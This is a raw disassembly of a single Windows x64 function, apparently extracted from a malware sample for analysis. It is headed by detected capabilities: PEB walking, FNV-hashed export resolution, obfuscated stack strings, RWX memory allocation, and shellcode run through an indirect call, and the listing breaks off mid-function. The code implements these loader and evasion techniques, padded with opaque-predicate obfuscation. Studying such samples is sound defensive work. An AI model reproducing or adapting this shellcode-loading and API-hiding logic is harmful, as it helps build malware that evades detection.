Function at 0x14012b210
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rax, qword [0x1403768c0]
xor rax, rsp
mov qword [rbp + 0x68], rax
xor r14d, r14d
mov r10d, r14d
mov dword [rsp + 0x50], r14d
call fcn.140141438
movsx r13d, al
call fcn.140141434
movsx ecx, al
imul r13d, ecx
call fcn.140141444
movsx ebx, al
mov dword [rbp - 0x78], ebx
imul eax, r13d, 7
add eax, ebx
mov dword [rsp + 0x54], eax
lea r9d, [r13*2]
add r9d, r13d
mov r12d, r9d
or r15, 0xffffffffffffffff
mov edi, 0x1000
lea esi, [r14 + 3]
lea ecx, [rbx + r13*4]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, dword [rsp + 0x54]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012b34c
call fcn.14014143c
movsx edx, al
movsx eax, byte [0x14037a680]
imul edx, eax
add edx, edx
call fcn.140141448
movsx ecx, al
sub edx, ecx
call fcn.140141440
movsx ecx, al
add edx, ecx
mov r9d, r12d
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x14012b34c
mov eax, 1
mov dword [rbp - 0x30], eax
jmp 0x14012b3aa
lea ecx, [rbx + r13]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r13*8]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012b3a7
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ebx
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
jmp 0x14012b347
mov eax, dword [rbp - 0x30]
cmp r10d, eax
jge 0x14012ca28
mov dword [rbp - 0x10], r14d
mov dword [rsp + 0x60], 0xbfbac2dc
mov dword [rsp + 0x64], 0x10c4ceb9
mov dword [rsp + 0x68], 0x363d393a
mov byte [rsp + 0x6c], 0xca
xor eax, eax
mov dword [rsp + 0x6d], eax
mov byte [rsp + 0x71], al
mov qword [rsp + 0x20], r14
jmp 0x14012b42c
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x60]
movabs rax, 0x6d7c4ce49526f479
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x4f
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x60], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x12
jb 0x14012b3e5
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x30], r14
lea rax, [rsp + 0x60]
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x14012b44e
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x18]
call fcn.140039338
nop
mov dword [rsp + 0x30], 0x717a6e73
mov dword [rsp + 0x34], 0xb1bd7569
mov dword [rsp + 0x38], 0x7f7861bc
mov byte [rsp + 0x3c], 0x8a
xor eax, eax
mov qword [rsp + 0x3d], rax
mov dword [rsp + 0x45], eax
mov word [rsp + 0x49], ax
mov qword [rsp + 0x20], r14
jmp 0x14012b4e1
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x30]
movabs rax, 0xb531666c64e10dc1
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x47
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x30], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x1b
jb 0x14012b49a
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], r14
lea rax, [rsp + 0x30]
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x14012b503
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 8]
call fcn.140039338
nop
lea rdx, [rbp + 0x18]
lea rcx, [rbp - 8]
call fcn.140104434
mov edx, 0x2000
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call rax
mov rbx, rax
mov qword [rbp - 0x80], rax
mov rdx, qword [rbp + 0x10]
mov r12d, reloc.WS2_32.dll_ntohs
cmp rdx, r12
jbe 0x14012b57e
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, rdi
jb 0x14012b579
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14012c9fe
call fcn.14015a4ac
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], r12
mov byte [rbp - 8], r14b
mov rdx, qword [rbp + 0x30]
cmp rdx, r12
jbe 0x14012b5c0
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, rdi
jb 0x14012b5bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14012ca05
call fcn.14015a4ac
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x30], r12
mov byte [rbp + 0x18], r14b
lea rax, [rbx + 0xffa]
mov qword [rbp + 0x38], rax
add rbx, 0x1000
mov dword [rsp + 0x30], 0xef70ef5
mov word [rsp + 0x34], 0xe6f2
mov byte [rsp + 0x36], 0x60
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x37], xmm0
mov word [rsp + 0x47], ax
mov qword [rsp + 0x20], r14
jmp 0x14012b64f
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x30]
movabs rax, 0x128985620b9ed3f1
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x69
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x30], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x19
jb 0x14012b608
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r14
lea rax, [rsp + 0x30]
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x14012b671
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.140039338
nop
mov dword [rsp + 0x60], 0x7e8e8c81
mov dword [rsp + 0x64], 0x734a8180
mov word [rsp + 0x68], 0x8d8a
mov byte [rsp + 0x6a], Ordinal_26
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x6b], xmm0
mov word [rsp + 0x7b], ax
mov qword [rsp + 0x20], r14
jmp 0x14012b702
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
movzx edx, byte [rsp + rax + 0x60]
movabs rax, 0xbb93de52a1a87c03
add rcx, rax
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x15
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 0x60], r8b
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0x1d
jb 0x14012b6bb
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
lea rax, [rsp + 0x60]
mov r8, r15
inc r8
cmp byte [rax + r8], r14b
jne 0x14012b724
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x70]
call fcn.140039338
nop
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x70]
call fcn.140116684
mov r8d, 6
lea rdx, [0x14037612c]
mov rcx, qword [rbp + 0x38]
call rax
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, r12
jbe 0x14012b793
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, rdi
jb 0x14012b78e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14012ca0c
call fcn.14015a4ac
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r12
mov byte [rbp - 0x70], r14b
mov rdx, qword [rbp - 0x38]
cmp rdx, r12
jbe 0x14012b7d5
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, rdi
jb 0x14012b7d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14012ca13
call fcn.14015a4ac
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], r12
mov byte [rbp - 0x50], r14b
mov qword [rbp + 0x40], rbx
mov r9, qword [0x14037cdb0]
test r9, r9
jne 0x14012b96c
mov r15d, 0xaae02ba9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov r11, r12
xor edx, edx
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test r14d, r14d
je 0x14012b860
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14012b850
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14012b841
cmp edx, r14d
jne 0x14012b940
xor edx, edx
mov r8, qword [r11 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r10d, eax
add r10, r8
shr rax, 0x20
cmp r10, r8
je 0x14012b942
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14012b942
mov esi, dword [r10 + 0x20]
dec r9d
lea rcx, [r8 + r9*4]
mov edx, dword [rcx + rsi]
add rdx, r8
mov ebx, 0x811c9dc5
jmp 0x14012b8b3
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x14012b8a8
cmp ebx, r15d
je 0x14012b8ca
xor edx, edx
test r9d, r9d
jne 0x14012b894
jmp 0x14012b942
mov edx, dword [r10 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r9*2]
mov r9d, dword [rdx + rcx*4]
add r9, r8
cmp r9, r10
jbe 0x14012b9e6
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x14012b9e6
mov r14d, 0x811c9dc5
mov r15d, r14d
jmp 0x14012b915
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x14012b905
inc r9
xor edx, edx
jmp 0x14012b933
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x14012b923
mov r11, qword [r12]
jmp 0x14012b942
xor edx, edx
mov rax, qword [r11]
mov r11, rax
cmp rax, r12
je 0x14012b957
cmp qword [rax + 0x30], rdx
jne 0x14012b814
xor r14d, r14d
mov r9d, r14d
mov qword [0x14037cdb0], r9
or r15, 0xffffffffffffffff
lea esi, [r15 + 4]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x40]
mov rcx, r15
call r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
lea rdi, [rbp + 0x98]
movabs rax, 0xff00ff00ff00ff07
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rdi
mov rbx, qword [rdi]
xor rbx, rax
mov qword [rsp + 0x30], rbx
mov qword [rdi], r14
mov ecx, r14d
mov rax, qword [0x14037a690]
lea r12, [0x140000000]
test rax, rax
je 0x14012b9ff
mov r8, r14
lea rdx, [0x1400c27a4]
cmp rax, rdx
je 0x14012b9ee
inc ecx
mov r8d, ecx
mov rax, qword [r12 + rcx*8 + 0x37a690]
test rax, rax
jne 0x14012b9cd
jmp 0x14012b9ff
xor r14d, r14d
jmp 0x14012b95d
mov r8, qword [r12 + r8*8 + 0x37a9b0]
test r8, r8
jne 0x14012bae7
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14012ba26
mov r8, r14
jmp 0x14012babf
lea rax, [0x1400c27a4]
mov rcx, r8
mov rdx, rsi
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x14012ba39
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14037a688]
lea rcx, [0x1400c27a4]
mov qword [r12 + rax*8 + 0x37a690], rcx
mov qword [r12 + rax*8 + 0x37a9b0], r8
inc rax
mov qword [0x14037a688], rax
lea rdx, [rbp + 0x38]
lea rcx, [0x140137328]
call r8
nop
movabs rax, 0xff00ff00ff00ff07
xor rbx, rax
mov qword [rsp + 0x30], rbx
mov qword [rdi], rbx
mov r9, qword [0x14037cdb0]
test r9, r9
jne 0x14012bc85
mov r15d, 0xaae02ba9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov r11, r12
xor edx, edx
movups xmm0, xmmword [r11 + 0x58]
movd eax, xmm0
sub ax, 8
test r14d, r14d
je 0x14012bb86
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14012bb76
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14012bb67
cmp edx, r14d
jne 0x14012bc60
xor edx, edx
mov r8, qword [r11 + 0x30]
movsxd rax, dword [r8 + 0x3c]
mov rax, qword [rax + r8 + 0x88]
mov r10d, eax
add r10, r8
shr rax, 0x20
cmp r10, r8
je 0x14012bc62
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14012bc62
mov esi, dword [r10 + 0x20]
dec r9d
lea rcx, [r8 + r9*4]
mov edx, dword [rcx + rsi]
add rdx, r8
mov ebx, 0x811c9dc5
jmp 0x14012bbd9
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x14012bbce
cmp ebx, r15d
je 0x14012bbf0
xor edx, edx
test r9d, r9d
jne 0x14012bbba
jmp 0x14012bc62
mov edx, dword [r10 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r9*2]
mov r9d, dword [rdx + rcx*4]
add r9, r8
cmp r9, r10
jbe 0x14012bc7a
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x14012bc7a
mov eax, 0x811c9dc5
mov r14d, eax
mov r15d, eax
jmp 0x14012bc35
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x14012bc25
inc r9
xor edx, edx
jmp 0x14012bc53
movsx eax, al
xor eax, r15d
imul r15d, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x14012bc43
mov r11, qword [r12]
jmp 0x14012bc62
xor edx, edx
mov rax, qword [r11]
mov r11, rax
cmp rax, r12
je 0x14012bc77
cmp qword [rax + 0x30], rdx
jne 0x14012bb3a
mov r9, rdx
mov qword [0x14037cdb0], r9
or r15, 0xffffffffffffffff
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x40]
mov rcx, r15
call r9
lea eax, [r13*2]
add eax, r13d
mov r12d, dword [rbp - 0x78]
lea r14d, [r12 + rax*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
mov r10d, dword [rsp + 0x54]
cmp eax, ecx
je 0x14012c454
xor r9d, r9d
mov esi, r9d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r14d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012bd95
call fcn.14014143c
movsx edx, al
movsx eax, byte [0x14037a680]
imul edx, eax
add edx, edx
call fcn.140141448
movsx ecx, al
sub edx, ecx
call fcn.140141440
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x14012bd95
mov eax, 1
mov dword [rbp - 0x2c], eax
lea r11d, [r13*8]
add r11d, r13d
jmp 0x14012be08
lea r11d, [r13*8]
add r11d, r13d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r11d
add eax, r12d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012be05
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ebx, [r13*2]
add ebx, r13d
add eax, ebx
add eax, r12d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
mov dword [rbp - 0x2c], eax
jmp 0x14012be13
mov eax, dword [rbp - 0x2c]
lea ebx, [r13*2]
add ebx, r13d
cmp esi, eax
jge 0x14012c0f6
mov rdi, qword [rbp + 0x38]
lea rax, [0x14037612c]
sub rdi, rax
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012c0a7
lea rax, [rdi + r9]
lea rcx, [0x14037612c]
mov r8b, byte [rax + rcx]
mov dl, byte [r9 + rcx]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xor eax, eax
cmp r8b, dl
setne al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012bf07
call fcn.14014143c
movsx edx, al
movsx eax, byte [0x14037a680]
imul edx, eax
add edx, edx
call fcn.140141448
movsx ecx, al
sub edx, ecx
call fcn.140141440
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x14012bf07
mov dword [rbp - 0x28], 1
lea r10d, [r13*8]
add r10d, r13d
jmp 0x14012bf62
mov r10d, r11d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r11d
add eax, r12d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012bf62
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ebx
add eax, r12d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
mov dword [rbp - 0x28], eax
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r12d
lea eax, [rax + r13*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, dword [rbp - 0x28]
test eax, eax
je 0x14012c0a2
add ebx, r12d
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ebx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, dword [rsp + 0x54]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012c040
call fcn.14014143c
movsx edx, al
movsx eax, byte [0x14037a680]
imul edx, eax
add edx, edx
call fcn.140141448
movsx ecx, al
sub edx, ecx
call fcn.140141440
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
jne 0x14012c0c3
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r12d
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012c099
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ebx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si r8d, xmm0
mov dword [rbp - 0x24], r8d
jmp 0x14012c09d
mov r8d, dword [rbp - 0x24]
test r8d, r8d
jg 0x14012c0ca
mov r10d, dword [rsp + 0x54]
inc r9
cmp r9, 6
lea ebx, [r13 + r13*2]
jb 0x14012be29
inc esi
xor r9d, r9d
jmp 0x14012bcd7
mov dword [rbp - 0x24], 1
mov edx, 1
lea rax, [0x14037612c]
mov cl, byte [r9 + rax]
mov rax, qword [rbp + 0x38]
cmp byte [r9 + rax], cl
cmovl edx, r15d
mov dword [rbp - 0x1c], edx
mov r10d, dword [rsp + 0x54]
xor r11d, r11d
jmp 0x14012c221
lea r9d, [r11 + r12]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012c1af
call fcn.14014143c
movsx edx, al
movsx eax, byte [0x14037a680]
imul edx, eax
add edx, edx
call fcn.140141448
movsx ecx, al
sub edx, ecx
call fcn.140141440
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x14012c1af
mov dword [rbp - 0x20], 1
xor r11d, r11d
jmp 0x14012c216
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012c20b
lea ecx, [r12 + r13]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r13*2]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x20]
cvttsd2si eax, xmm0
mov dword [rbp - 0x20], eax
jmp 0x14012c20e
mov eax, dword [rbp - 0x20]
xor r11d, r11d
cmp r11d, eax
jge 0x14012c21e
mov edx, r11d
mov dword [rbp - 0x1c], edx
jmp 0x14012c221
mov edx, dword [rbp - 0x1c]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, r11
test edx, edx
setne al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x20], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012c2bd
call fcn.14014143c
movsx edx, al
movsx eax, byte [0x14037a680]
imul edx, eax
add edx, edx
call fcn.140141448
movsx ecx, al
sub edx, ecx
call fcn.140141440
movsx ecx, al
add edx, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, edx
je 0x14012c2bd
mov dword [rbp - 0x18], 1
jmp 0x14012c31e
lea ecx, [r12 + r13]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r13*8]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14012c31e
lea ecx, [r12 + r13]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [rcx + r13*2]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
